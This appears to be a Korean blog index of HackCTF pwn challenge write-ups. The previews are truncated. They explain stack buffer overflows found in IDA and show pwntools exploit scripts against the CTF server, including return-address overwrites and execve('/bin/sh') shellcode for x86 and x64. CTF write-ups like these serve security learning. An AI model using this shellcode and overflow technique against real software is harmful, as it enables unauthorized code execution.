목록시스템 해킹/HackCTF (28)
ii4gsp

파일을 다운받아 주자. IDA로 파일을 열어보면 main()함수에서 vuln()함수를 호출한다. s는 32byte만큼 할당되었고 fgets()함수로 32byte만큼 입력을받는다. 하지만, replace()함수가 "I"를 "you"로 바꿔준다. "you"는 3byte이므로, 3 * 20 = 60 dummy + sfp = 64 64byte dummy를 채워주고 flag를 출력해주는 get_flag() 함수의 주로를 ret로 조작해주면 된다. get_flag()함수의 주소는 0x08048F0D 이다. Exploit from pwn import * r = remote('ctf.j0n9hyun.xyz', 3011) payload = '' payload += 'I' * 20 payload += '\x90' * 4 ..

RTL을 이용하는 문제인것같다. 파일을 다운받아 주자. int __cdecl main(int argc, const char **argv, const char **envp) { int result; // eax int v4; // [esp+10h] [ebp-90h] char buf; // [esp+14h] [ebp-8Ch] void *v6; // [esp+94h] [ebp-Ch] void *handle; // [esp+98h] [ebp-8h] void *s1; // [esp+9Ch] [ebp-4h] setvbuf(stdout, 0, 2, 0); handle = dlopen("/lib/i386-linux-gnu/libc.so.6", 1); v6 = dlsym(handle, "system"); dlclose(..

파일을 다운받아 주자. int __cdecl main(int argc, const char **argv, const char **envp) { int v3; // eax int v4; // eax int v5; // ecx int v6; // eax int v7; // eax char s; // [rsp+Eh] [rbp-12h] int v10; // [rsp+18h] [rbp-8h] int v11; // [rsp+1Ch] [rbp-4h] setvbuf(stdout, 0LL, 2, 0LL); v11 = 5; puts("Show me your number~!"); fgets(&s, 10, stdin); v10 = atoi(&s); if ( (v11 - 10) >> 3 < 0 ) { v4 = 0; } else..

파일을 다운받아 주자. IDA로 열어보면 main()함수에서 welcome()함수를 호출한다. welcome()함수에서는 welcome의 주소를 출력해주고 scanf()함수로 v1에 입력을 받는다. scanf()함수에서 취약점이 발생한다. v1 ~ sfp = 22이다. j0n9hyun()함수에서 flag를 출력해준다. welcome()함수의 ret를 j0n9hyun()함수로 조작해주면 된다. welcome() offset = 0x909 j0n9hyun() offset = 0x890 0x909 - 0x890 = 0x79 welcome()함수와 j0n9hyun()함수는 0x79만큼 떨어져 있다. from pwn import * r = remote('ctf.j0n9hyun.xyz', 3008) r.recvun..

파일을 다운받아 주자. IDA로 열어보면 gets()함수로 s에 입력을받고 select_func()함수를 호출한다. select_func()함수를 보면 v3가 two()함수를 가리키고 있다. 인자 src를 0x1F 즉, 31byte만큼 dest에 복사한다. 그리고 dest의 값이 "one"이라면 v3가 one()함수를 가르키고 v3가 가리키는 함수를 호출한다. print_flag()함수를 호출하면 flag를 볼 수 있다. 함수의 주소를 보면 two()함수의 주소는 0x000006AD이고 print_flag()함수의 주소는 0x000006D8 이다. select_func()에서 dest와 v3의 거리는 30이다. 복사하는 크기는 31byte이다. 즉, 30byte dummy를 주고 0xD8을 주면 prin..

파일을 다운받아 주자. IDA로 열어보면 Data를 입력받고 입력받은곳의 주소를 출력해준다. y나 Y를 입력하면 무한루프를 돌 수 있다. s ~ sfp는 140이다. s에 쉘 코드를 넣고 ret를 s의 주소로 해주면 된다. from pwn import * r = remote('ctf.j0n9hyun.xyz', 3006) shellcode = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80' r.recvuntil('Data : ') r.sendline('asd') buffer = int(r.recv(10), 16) r.recvuntil('Again (y/n): ') r.se..

파일을 다운받아 주자. IDA로 열어보면 버퍼를 0x6D30만큼 할당한다. 즉, 10진수로 27,952만큼 할당한다. printf()함수로 버퍼의 주소를 출력한다. gets()함수로 길이 제한없이 버퍼를 입력받는다. gets()함수에서 취약점이 발생한다. from pwn import * r = remote('ctf.j0n9hyun.xyz', 3005) shellcode = '\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05' r.recvuntil(': ') buffer = int(r.recv(14), 16) payload = '' payload += shellcode payload += '..

파일을 다운받아 주자. IDA로 열어보면 scanf()함수에서 취약점이 발생한다. callMeMaybe()함수에서 쉘을 실행시킨다. main()함수의 ret를 callMeMaybe()의 함수로 조작해주면 된다. callMeMaybe()함수의 주소는 0x0000000000400606이다. dummy 280byte를 채우고 callMeMaybe()함수의 주소를 넣어주면 된다. from pwn import * r = remote('ctf.j0n9hyun.xyz', 3004) payload = '' payload += '\x90' * 280 payload += p64(0x0000000000400606) r.sendline(payload) r.interactive() 소스코드를 작성해주자.